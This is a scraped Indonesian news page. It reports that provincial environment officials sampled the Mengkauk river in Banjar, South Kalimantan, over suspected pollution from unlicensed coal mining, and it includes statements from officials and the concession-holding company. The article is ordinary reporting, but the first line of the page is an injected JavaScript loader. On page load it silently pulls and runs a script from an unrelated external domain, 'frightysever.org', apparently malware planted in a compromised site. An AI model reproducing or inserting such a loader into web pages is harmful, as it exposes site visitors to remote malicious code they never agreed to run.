(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Diduga Air Sungai Mengkauk Tercemar, Sampel Air Dibawa ke Lab Â


KANALKALIMANTAN.COM, MARTAPURA – Aktivitas pertambangan tanpa izin (Peti) di wilayah desa Remo, Kecamatan Peramasan, Kabupaten Banjar diduga mencemari aliran sungai Mengkauk.

Adanya dugaan tersebut membuat Dinas Lingkungan Hidup (DLH) Provinsi Kalsel langsung turun lapangan mengambil sampel air di sungai Mengkauk, guna mengetahui tingkat pencemaran air.

Pengambilan sampel air sungai ini dilakukan langsung Kepala DLH Provinsi Kalsel Hanifah Dwi Nirwana didampingi Kepala DLH Kabupaten Banjar Boyke W Tristiyanto, serta perwakilan PT Antang Gunung Meratus.

Hanifah Dwi Nirwana mengatakan, Dinas Lingkungan Hidup Kalsel turun ke lapangan untuk mengetahui dampak dugaan pertambangan tanpa izin (Peti) batu bara di lokasi tersebut.

 

Ada tiga titik lokasi yang diambil sampel airnya, di bagian hulu sungai, tengah dan di dekat permukiman warga. Untuk kemudian sampel-sampel tersebut dibawa ke laboratorium untuk diuji.

“Nanti jika hasil pengujian sampel air menunjukan telah terjadi pencemaran, maka akan diambil langkah yang tegas sesuai aturan dan perundangan yang berlaku,” tegasnya, Selasa (29/12/2020).

Untuk penanganan pertambangan liar atau illegal mining, ujar Hanifah, pihaknya akan bekerja sama dengan DLH Kabupaten Banjar, Balai Wilayah Sungai (BWS) Kalimantan II.

Dinas LH Kalsel turun lapangan mengambil sampel air di sungai Mangkauk, Selasa (29/12/2020). Foto: ist

Selanjutnya melakukan koordinasi dengan PT Antang Gunung Meratus sebagai pemilik konsesi pertambangan, dan dengan semua pemangku kepentingan (stakeholder) serta Kementerian ESDM.

“Persoalan ini harus segera diambil tindakan nyata untuk menyelamatkan lingkungan, jika terbukti merusak lingkungan dan pencemaran air,” tandasnya.

Sementara itu, perwakilan dari PT Antang Gunung Meratus, Suhardi mengatakan, sebagai pemilik konsesi pertambangan di wilayah Remo, pihaknya sudah melakukan pelaporan ke Polres Banjar terkait dugaan pertambangan liar atau Peti.

“Informasi di Polres berdasarkan penyampaian surat bahwa dugaan aktivitas tersebut masih dalam tahap penyelidikan oleh tim penyidik Polres Banjar,” ungkap Suhardi.

Pihaknya juga sudah menyerahkan bukti dan terus mengumpulkan bukti tambahan. Selain itu tim penyidik Tipikor sudah menyampaikan sudah melakukan pemanggilan dua kali terhadap pihak yang diduga melakukan Peti.

Suhardi menduga, aliran sungai yang berada di desa Remo ini diperkirakan tercemar akibat pertambangan lilar. Aliran air dari Peti tersebut diduga langsung mengalir ke sungai yang ada di desa Remo. Perambangan tanpa izin ini selalu berpindah tempat, namun di lokasi yang ada ini masih terlihat penumpukan batu bara. Hal ini menjadi salah satu bukti masih ada peti terjadi di lokasi konsesi milik PT Antang Gunung Meratus. (kanalkalimantan.com/bie)

Reporter : bie
Editor : kk

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.